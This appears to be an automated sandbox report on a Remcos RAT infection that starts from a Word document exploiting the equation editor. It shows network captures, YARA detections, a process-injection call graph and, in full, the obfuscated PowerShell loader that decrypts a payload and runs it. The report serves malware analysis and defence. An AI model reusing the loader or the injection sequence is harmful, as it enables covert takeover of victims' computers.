                            Jul 26, 2024 15:00:03.040977955 CEST1236INData Raw: 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 62 37 51 32 4f 63 74 44
                            Data Ascii: xDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd
                            Jul 26, 2024 15:00:03.040987015 CEST1236INData Raw: 77 77 4f 49 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 55 53 44 6b 30 77 49 4e 49 53 44 68 30 41 49 4e 38 52 44 65 30 51 48 4e 77 52 44 62 30 67 47 4e 6b 52 44 59 30 77 46 4e 59 52 44 55 30 77 45 4e 49 52 44 52 30 41 45 4e 38 51 44 4e 30 67 43
                            Data Ascii: wwOIAAAAAOAFAOAAAANUSDk0wINISDh0AIN8RDe0QHNwRDb0gGNkRDY0wFNYRDU0wENIRDR0AEN8QDN0gCNkQDI0wBNYQDF0ABNMQDB0AwM8PD+zQ/MwPD7zg+MgPD2AAAAcBQBQDgOsrD66QuOgrD36gtOUrD06wsOIrDx6AsO8qDu6QrOwqDr6gqOkqDo6wpOYqDl6ApOMqDi6QoOAqDf6gnO0pDc6wmOopDZ6AmOcpDW6QlO
                            Jul 26, 2024 15:00:03.040998936 CEST1236INData Raw: 79 44 6a 38 51 49 50 38 78 44 64 38 77 47 50 6b 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44
                            Data Ascii: yDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv
                            Jul 26, 2024 15:00:03.041008949 CEST1236INData Raw: 41 33 50 6d 39 44 58 2f 49 31 50 49 39 6a 50 2f 49 7a 50 6e 38 54 48 2f 4d 78 50 4a 34 7a 2f 2b 51 75 50 4a 37 6a 70 2b 4d 6f 50 6f 35 6a 58 2b 51 6c 50 4b 35 44 51 2b 59 6a 50 73 34 6a 49 2b 67 68 50 4f 34 44 42 39 6f 66 50 77 33 6a 35 39 77 64
                            Data Ascii: A3Pm9DX/I1PI9jP/IzPn8TH/MxPJ4z/+QuPJ7jp+MoPo5jX+QlPK5DQ+YjPs4jI+ghPO4DB9ofPw3j59wdPS3Dy94bP12jj9YYPv1zS98APRzDl8gFPJxjO8cwO/vzO7MzOroz464rOcqzd6gmOZlDl4Y0Neejg24vNhPTFz8gM7LT3yssMGHzZxMTMCAD/wUJAAAAtAUAcAAAA/o6Pb+zj/83Pi9jW/AjPp7Ty+0rPx6Tn+EpP
                            Jul 26, 2024 15:00:03.041021109 CEST1236INData Raw: 33 44 6d 39 41 55 50 77 30 6a 4a 39 6b 52 50 50 30 44 41 38 59 4f 50 66 7a 44 32 38 45 4e 50 65 79 54 69 38 51 49 50 7a 78 54 61 38 73 45 50 76 77 54 48 38 73 77 4f 38 76 6a 67 36 6b 6e 4f 53 6c 7a 35 35 41 63 4f 62 59 6a 55 32 4d 54 4e 46 58 6a
                            Data Ascii: 3Dm9AUPw0jJ9kRPP0DA8YOPfzD28ENPeyTi8QIPzxTa8sEPvwTH8swO8vjg6knOSlz55AcObYjU2MTNFXja1kAN9QDM0gyM7LTxyIoMhJTWyEkMtEDYxEDMBDjdw4GAAAAbAQA4A8j8/s+Pr+DT/8hPc7T0+gsPk6jf+YnPX4zD98dPO3TI8QLPUyTZ80FPFxTO7I/OevDp7AkO1rD76MuONrTw6MqObqDk6coOxpzW6AiOVoDD
                            Jul 26, 2024 15:00:03.041214943 CEST1236INData Raw: 4d 58 4f 75 6c 54 61 35 34 56 4f 43 6c 54 4c 35 6b 51 4f 45 67 7a 2f 34 51 50 4f 59 6a 44 74 34 63 49 4f 43 69 54 66 34 49 48 4f 57 68 44 54 34 34 43 4f 70 67 44 4a 34 6b 78 4e 39 66 7a 38 33 67 39 4e 54 66 6a 7a 33 4d 38 4e 6e 65 54 6e 33 49 34
                            Data Ascii: MXOulTa54VOClTL5kQOEgz/4QPOYjDt4cIOCiTf4IHOWhDT44COpgDJ4kxN9fz83g9NTfjz3M8NneTn3I4N9dDe302NRdzR3wyNncjI3chNkbDw2srN2azq24oNqZjN2URN9XD+1MfNoXj11QbNmWjm1sYNyVzS1MUNsUDH0AONYTzu0YLNxSDX0cFNFRjP0gDNxQzBz0+MZPT0zU8MoOjnzs3MxNDXzs0MpMzHzIxMJIz7y4tM
                            Jul 26, 2024 15:00:03.041224957 CEST1236INData Raw: 4c 6a 6c 79 55 6e 4d 52 4a 6a 53 79 55 55 4d 56 48 54 47 77 6f 45 41 41 41 41 51 41 51 41 41 41 38 6a 6c 2f 45 35 50 79 35 6a 64 2b 55 6c 50 78 34 6a 4b 2b 55 53 50 34 79 44 7a 38 77 5a 4f 41 6c 6a 4e 79 63 72 4d 51 41 44 34 77 6f 4c 4d 64 43 41
                            Data Ascii: LjlyUnMRJjSyUUMVHTGwoEAAAAQAQAAA8jl/E5Py5jd+UlPx4jK+USP4yDz8wZOAljNycrMQAD4woLMdCAAAwCADAPAAAwPn/zy/I3PYlTG4YLOkhDY4wFOYhDV4AFOMhDS4QEOAhDP4gDOcUTYzQAAAAANAMA4AAAA2wjN4YDN2AjNsYDK2QiNgUDl1wRNYUDF1ARNMUDC1QQNAQDdzw/M4PD9zA/MsPD6zQ+MgPzVyAuMcLD2
                            Jul 26, 2024 15:00:03.041234970 CEST1236INData Raw: 77 41 4d 47 41 54 41 41 41 51 41 59 41 77 41 67 42 41 41 41 38 7a 2b 2f 55 2f 50 76 2f 6a 36 2f 51 2b 50 65 2f 44 32 2f 4d 39 50 4e 2f 6a 78 2f 45 38 50 38 2b 6a 74 2f 41 37 50 71 2b 54 70 2f 38 35 50 5a 2b 7a 6b 2f 34 34 50 49 2b 6a 67 2f 77 33
                            Data Ascii: wAMGATAAAQAYAwAgBAAA8z+/U/Pv/j6/Q+Pe/D2/M9PN/jx/E8P8+jt/A7Pq+Tp/85PZ+zk/44PI+jg/w3P39Tc/s2Pl9DY/o1PU9jT/k0PD9TP/czPy8DL/YyPg8zG/UxPP8TC/QgP+7D++IvPt7z5+EuPb7j1+AtPK7Dx+8rP56zs+0qPo6jo+wpPW6Tk+soPF6zf+onP05Tb+YmPg1z+9QBPIyDR8cDPwwjK8QCPTsj97E+O
                            Jul 26, 2024 15:00:03.046303988 CEST1236INData Raw: 70 6a 61 36 59 6d 4f 69 70 6a 55 36 30 6a 4f 72 6f 54 49 36 63 52 4f 37 6e 44 37 35 30 64 4f 57 6e 44 7a 35 49 63 4f 34 6d 6a 72 35 51 61 4f 78 6c 44 57 35 49 55 4f 70 6b 6a 49 35 59 52 4f 50 6b 44 43 34 34 4e 4f 55 6a 54 7a 34 59 4d 4f 2f 69 44
                            Data Ascii: pja6YmOipjU60jOroTI6cRO7nD750dOWnDz5IcO4mjr5QaOxlDW5IUOpkjI5YROPkDC44NOUjTz4YMO/iDu4QIO6hzc4sDO0gjF3o/NpDAAAAHACAIAAAQOikzG58QOIgT/4YPOujD34wMOFjTu4ILOkiTn4UJODizc4wGOghTW4sEOEhDP4oCOagzE4cAOAcj83s+NjfT038xNScDB2EvNibjr2AqNPaje2oiNdYzD1wfNtXDq


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            3192.168.2.2249169178.237.33.50803308C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 15:00:07.893758059 CEST71OUTGET /json.gp HTTP/1.1
                            Host: geoplugin.net
                            Cache-Control: no-cache
                            Jul 26, 2024 15:00:08.528723955 CEST1170INHTTP/1.1 200 OK
                            date: Fri, 26 Jul 2024 13:00:08 GMT
                            server: Apache
                            content-length: 962
                            content-type: application/json; charset=utf-8
                            cache-control: public, max-age=300
                            access-control-allow-origin: *
                            Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED]
                            Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:08:59:53
                            Start date:26/07/2024
                            Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            Wow64 process (32bit):false
                            Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
                            Imagebase:0x13f580000
                            File size:1'423'704 bytes
                            MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:false

                            General

                            Target ID:2
                            Start time:08:59:54
                            Start date:26/07/2024
                            Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            Wow64 process (32bit):true
                            Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                            Imagebase:0x400000
                            File size:543'304 bytes
                            MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:5
                            Start time:08:59:57
                            Start date:26/07/2024
                            Path:C:\Windows\SysWOW64\wscript.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS"
                            Imagebase:0x750000
                            File size:141'824 bytes
                            MD5 hash:979D74799EA6C8B8167869A68DF5204A
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:6
                            Start time:08:59:57
                            Start date:26/07/2024
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
                            Imagebase:0xf90000
                            File size:427'008 bytes
                            MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:8
                            Start time:09:00:02
                            Start date:26/07/2024
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            Imagebase:0x3c0000
                            File size:64'704 bytes
                            MD5 hash:8FE9545E9F72E460723F484C304314AD
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                            • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                            • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            Reputation:moderate
                            Has exited:false

                            General

                            Target ID:10
                            Start time:09:00:16
                            Start date:26/07/2024
                            Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            Wow64 process (32bit):true
                            Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                            Imagebase:0x400000
                            File size:543'304 bytes
                            MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:high
                            Has exited:false

                            Disassembly

                            Reset < >

                              Non-executed Functions

                              Function 0031BE29 Relevance: 1.7, Strings: 1, Instructions: 479COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0030F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_2_2_30f000_EQNEDT32.jbxd
                              Similarity
                              • API ID:
                              • String ID: 2
                              • API String ID: 0-450215437
                              • Opcode ID: c76e5b1d52364128190d5b400f824be4f9afe206b5dcf71317911f4c63ebbc30
                              • Instruction ID: db125db06f079717e4027a56b9fa4b22a7aadae8348ec92609496c9bf1435391
                              • Opcode Fuzzy Hash: c76e5b1d52364128190d5b400f824be4f9afe206b5dcf71317911f4c63ebbc30
                              • Instruction Fuzzy Hash: 67D1B82249E7C15FD3078B7488296917FB1AF2B255F0E45EBC485CF4B3E259498AC723
                              Function 0031468E Relevance: .2, Instructions: 222COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0030F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_2_2_30f000_EQNEDT32.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d6d6302234afcfa40acceae5c0249fc78244a1a3d220f422aa7a725069d2022c
                              • Instruction ID: 33be24ff24c50a91cedbfd5ced7c5d8e0fbe099246c83332980d7f3654dae68b
                              • Opcode Fuzzy Hash: d6d6302234afcfa40acceae5c0249fc78244a1a3d220f422aa7a725069d2022c
                              • Instruction Fuzzy Hash: 9961986004FBC45FC7478B705A2A6917FB0AE03214B0F86EBC8D5CF4B3E258099AD722
                              Function 003199CB Relevance: .2, Instructions: 202COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0030F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_2_2_30f000_EQNEDT32.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 90ffaafea596473e36d8b2f9d0d8769ecb8dce18a4bb8644867cf259e76da140
                              • Instruction ID: 7cc36902e68cf6ad4e6654ddfa3bfd03b8ce1808eae0fd2d8809ab486732518c
                              • Opcode Fuzzy Hash: 90ffaafea596473e36d8b2f9d0d8769ecb8dce18a4bb8644867cf259e76da140
                              • Instruction Fuzzy Hash: 8571736144E7C14FD75B877899766913FB0AE1722071F46EBC4D6CF8B3E249488AC322
                              Function 00319A59 Relevance: .1, Instructions: 129COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0030F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_2_2_30f000_EQNEDT32.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 77bdd2da7e1fe9d10f4c735bb191eacf1707f558d6de7414432ba5f9f28c3294
                              • Instruction ID: b74f78bf268b71f676f34f0122b2f6ba856a0fce0dd5df2a9b92b4550855b729
                              • Opcode Fuzzy Hash: 77bdd2da7e1fe9d10f4c735bb191eacf1707f558d6de7414432ba5f9f28c3294
                              • Instruction Fuzzy Hash: 8241836244E7C14FD35787349A766913FB46E1722471E4ADBC5D2CF8B3E209589EC322

                              Execution Graph

                              Execution Coverage:3.9%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:0%
                              Total number of Nodes:31
                              Total number of Limit Nodes:2
                              execution_graph 15059 277d08 15060 277d2f 15059->15060 15064 27a0e0 15060->15064 15073 279669 15060->15073 15061 277e3a 15066 279783 15064->15066 15065 27a169 15065->15061 15066->15065 15072 278e48 WriteProcessMemory 15066->15072 15082 2791e0 15066->15082 15086 278af8 15066->15086 15090 278b00 15066->15090 15094 278a10 15066->15094 15098 278a08 15066->15098 15072->15066 15074 2796ab 15073->15074 15075 27a169 15074->15075 15076 278a10 ResumeThread 15074->15076 15077 278a08 ResumeThread 15074->15077 15078 2791e0 CreateProcessA 15074->15078 15079 278b00 Wow64SetThreadContext 15074->15079 15080 278af8 Wow64SetThreadContext 15074->15080 15081 278e48 WriteProcessMemory 15074->15081 15075->15061 15076->15074 15077->15074 15078->15074 15079->15074 15080->15074 15081->15074 15083 279267 CreateProcessA 15082->15083 15085 2794c5 15083->15085 15087 278b01 Wow64SetThreadContext 15086->15087 15089 278bc7 15087->15089 15089->15066 15091 278b49 Wow64SetThreadContext 15090->15091 15093 278bc7 15091->15093 15093->15066 15095 278a54 ResumeThread 15094->15095 15097 278aa6 15095->15097 15097->15066 15099 278a54 ResumeThread 15098->15099 15101 278aa6 15099->15101 15101->15066

                              Executed Functions

                              Function 004C3A08 Relevance: 8.0, Strings: 6, Instructions: 455COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 0 4c3a08-4c3a2b 1 4c3be9-4c3c35 0->1 2 4c3a31-4c3a36 0->2 12 4c3c3b-4c3c40 1->12 13 4c3dc1-4c3e0b 1->13 3 4c3a4e-4c3a52 2->3 4 4c3a38-4c3a3e 2->4 5 4c3a58-4c3a5a 3->5 6 4c3b90-4c3b9a 3->6 8 4c3a40 4->8 9 4c3a42-4c3a4c 4->9 10 4c3a5c-4c3a68 5->10 11 4c3a6a 5->11 14 4c3b9c-4c3ba5 6->14 15 4c3ba8-4c3bae 6->15 8->3 9->3 16 4c3a6c-4c3a6e 10->16 11->16 17 4c3c58-4c3c5c 12->17 18 4c3c42-4c3c48 12->18 29 4c3e11-4c3e16 13->29 30 4c3f62-4c3fa6 13->30 19 4c3bb4-4c3bc0 15->19 20 4c3bb0-4c3bb2 15->20 16->6 23 4c3a74-4c3a78 16->23 27 4c3d71-4c3d7b 17->27 28 4c3c62-4c3c64 17->28 24 4c3c4c-4c3c56 18->24 25 4c3c4a 18->25 26 4c3bc2-4c3be6 19->26 20->26 31 4c3a98 23->31 32 4c3a7a-4c3a96 23->32 24->17 25->17 33 4c3d7d-4c3d86 27->33 34 4c3d89-4c3d8f 27->34 36 4c3c74 28->36 37 4c3c66-4c3c72 28->37 38 4c3e2e-4c3e32 29->38 39 4c3e18-4c3e1e 29->39 87 4c3fa8-4c3faa 30->87 88 4c3fb4-4c3fcc 30->88 43 4c3a9a-4c3a9c 31->43 32->43 40 4c3d95-4c3da1 34->40 41 4c3d91-4c3d93 34->41 44 4c3c76-4c3c78 36->44 37->44 50 4c3f0f-4c3f19 38->50 51 4c3e38-4c3e3a 38->51 46 4c3e20 39->46 47 4c3e22-4c3e2c 39->47 49 4c3da3-4c3dbe 40->49 41->49 43->6 52 4c3aa2-4c3aa6 43->52 44->27 53 4c3c7e-4c3c9d 44->53 46->38 47->38 55 4c3f1b-4c3f24 50->55 56 4c3f27-4c3f2d 50->56 58 4c3e3c-4c3e48 51->58 59 4c3e4a 51->59 60 4c3aa8-4c3ab7 52->60 61 4c3ab9 52->61 85 4c3cad 53->85 86 4c3c9f-4c3cab 53->86 63 4c3f2f-4c3f31 56->63 64 4c3f33-4c3f3f 56->64 66 4c3e4c-4c3e4e 58->66 59->66 71 4c3abb-4c3abd 60->71 61->71 73 4c3f41-4c3f5f 63->73 64->73 66->50 74 4c3e54-4c3e58 66->74 71->6 72 4c3ac3-4c3ac5 71->72 75 4c3adf-4c3af9 